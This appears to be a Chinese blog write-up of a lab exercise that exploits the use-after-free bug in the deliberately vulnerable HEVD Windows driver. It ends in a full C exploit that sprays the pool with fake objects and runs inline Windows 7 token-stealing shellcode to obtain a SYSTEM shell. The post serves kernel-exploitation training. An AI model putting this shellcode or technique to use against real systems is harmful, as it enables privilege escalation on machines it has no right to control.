Windows内核(HEVD) 之UAF

UAF这个词 确实不算陌生

不过要说的一点是 在CTF里面的应用一般是 堆块在释放的时候  堆块指针没有清空 然后 再次申请 申请到那块的区域 然后就可以通过一开始的堆块指针来写 就达到了 修改的目的

然后 在这个样例里面来说 并不是堆块 算是内存池===  这个概念还是不太了解 等到扒扒我的书

然后可以先看这个样例的代码   可以看到 有几个重要函数

AllocateUaFObjectNonPagedPool 

这个函数就是 申请一个自己定义的 结构体大小的 内存

typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
    FunctionPointer Callback;
    CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *	PUSE_AFTER_FREE_NON_PAGED_POOL;

然后 把这个申请到的地方给了 全部变量 也就是  g_UseAfterFreeObjectNonPagedPool 这个变量 其中我们可以看到这个结构体 有一个函数指针   并且 在 UseUaFObjectNonPagedPool 这个函数里面调用到了

我们看一下调用函数的情况

if (g_UseAfterFreeObjectNonPagedPool)
        {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
            DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
            DbgPrint("[+] Calling Callback\n");

            if (g_UseAfterFreeObjectNonPagedPool->Callback)
            {
                g_UseAfterFreeObjectNonPagedPool->Callback();
            }

            Status = STATUS_SUCCESS;
        }

这里判断了  全部变量是否为空 然后判断了  函数的指针是否为空 然后就直接执行这个函数

然后继续往下看

FreeUaFObjectNonPagedPool  这个可以看到是一个free 函数

       if (g_UseAfterFreeObjectNonPagedPool)
        {
            DbgPrint("[+] Freeing UaF Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);

#ifdef SECURE
            //
            // Secure Note: This is secure because the developer is setting
            // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
            //

            ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);

            //
            // Set to NULL to avoid dangling pointer
            //

            g_UseAfterFreeObjectNonPagedPool = NULL;
#else
            //
            // Vulnerability Note: This is a vanilla Use After Free vulnerability
            // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
            // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
            // (dangling pointer)
            //

            ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);

这里可以看到有  安全的版本就是 将全局指针清空    危险的版本就是我们的UAF了 ==

然后下面看一下 AllocateFakeObjectNonPagedPool

这个算是 给了一个利用函数吧 

这个是  申请一个  PFAKE_OBJECT_NON_PAGED_POOL 结构体 然后把我们用户的缓冲区给复制进来 ==

这里为了  利用方便 把这里个结构的大小定义成一样的

typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
    FunctionPointer Callback;
    CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *	PUSE_AFTER_FREE_NON_PAGED_POOL;

typedef struct _FAKE_OBJECT_NON_PAGED_POOL
{
    CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;

 

到这里 我们基本就整理清楚了 

利用思路也可以大致梳理一下   大概就是

先申请一个use  然后  free  然后申请一个 fakeuse  然后 使用callback 就可以了

不过 这Windows 内核里面 却是需要注意几点===

第一点就是找到一个 找到一个 差不多大的 对象类型 可以申请 然后进行喷射 

第二点就是 每两个来释放内存 防止堆块合并  堆块在一起 会自动合并

第三点就是 多申请几次 可能会有其它碎片化 的堆块 导致了我们申请的空间达不到全局指针指向的内存

可以看一下这个链接https://bbs.pediy.com/thread-225181.htm

关于这个对象的介绍

Windows内核(HEVD) 之UAF_第1张图片

然后我们就可以写出exp了

这里 是用的下面的exp写的 感觉 这里更简洁一点

#include
#include
#include
#include
#include
#include
#include "windows.h"
using namespace std;
typedef void(*FunctionPointer) ();
typedef struct _FAKE_USE_AFTER_FREE
{
	FunctionPointer callback;
	char buffer[0x54];
}FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;

VOID TokenStealingPayloadWin7Generic() {
	// No Need of Kernel Recovery as we are not corrupting anything
	__asm {
		pushad; Save registers state

			; Start of Token Stealing Stub
			xor eax, eax; Set ZERO
			mov eax, fs:[eax + 0x124]; Get nt!_KPCR.PcrbData.CurrentThread
			; _KTHREAD is located at FS : [0x124]

			mov eax, [eax + 0x50]; Get nt!_KTHREAD.ApcState.Process

			mov ecx, eax; Copy current process _EPROCESS structure

			mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
		mov eax, [eax + 0xb8]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, 0xb8
			cmp[eax + 0xb4], edx; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

			mov edx, [eax + 0xf8]; Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + 0xf8], edx; Replace target process nt!_EPROCESS.Token
			; with SYSTEM process nt!_EPROCESS.Token
			; End of Token Stealing Stub

			popad; Restore registers state
	}
}

static VOID Cmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}


int main()
{
	DWORD recv;
	// 获取句柄
	HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		NULL,
		NULL);

	if (hDevice==INVALID_HANDLE_VALUE||hDevice==NULL)
	{
		printf("打开句柄失败===\n");
		return 0; 
	}
	
	DeviceIoControl(
		hDevice,
		0x222013,
		NULL,
		NULL,
		NULL,
		0,
		&recv,
		NULL);
	//申请内存块
	DeviceIoControl(hDevice, 
		0x22201B, 
		NULL, 
		NULL,
		NULL, 
		0,
		&recv, 
		NULL);
	//free内存块
	PUSE_AFTER_FREE UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
	UseAfterFree->callback = TokenStealingPayloadWin7Generic;
	RtlFillMemory(UseAfterFree->buffer, sizeof(UseAfterFree->buffer), 'A');
	for (int i = 0; i < 5000; i++)
	{
		//申请 fake内存块
		DeviceIoControl(hDevice, 0x22201F, UseAfterFree, 0x60, NULL, 0, &recv, NULL);
	}
	//执行shellcode
	DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recv, NULL);
	Cmd();
	return 0;
}

Windows内核(HEVD) 之UAF_第2张图片

参考链接

https://bbs.pediy.com/thread-225181.htm

https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/UAF/UAF/test1.c

你可能感兴趣的:(栈溢出,堆溢出)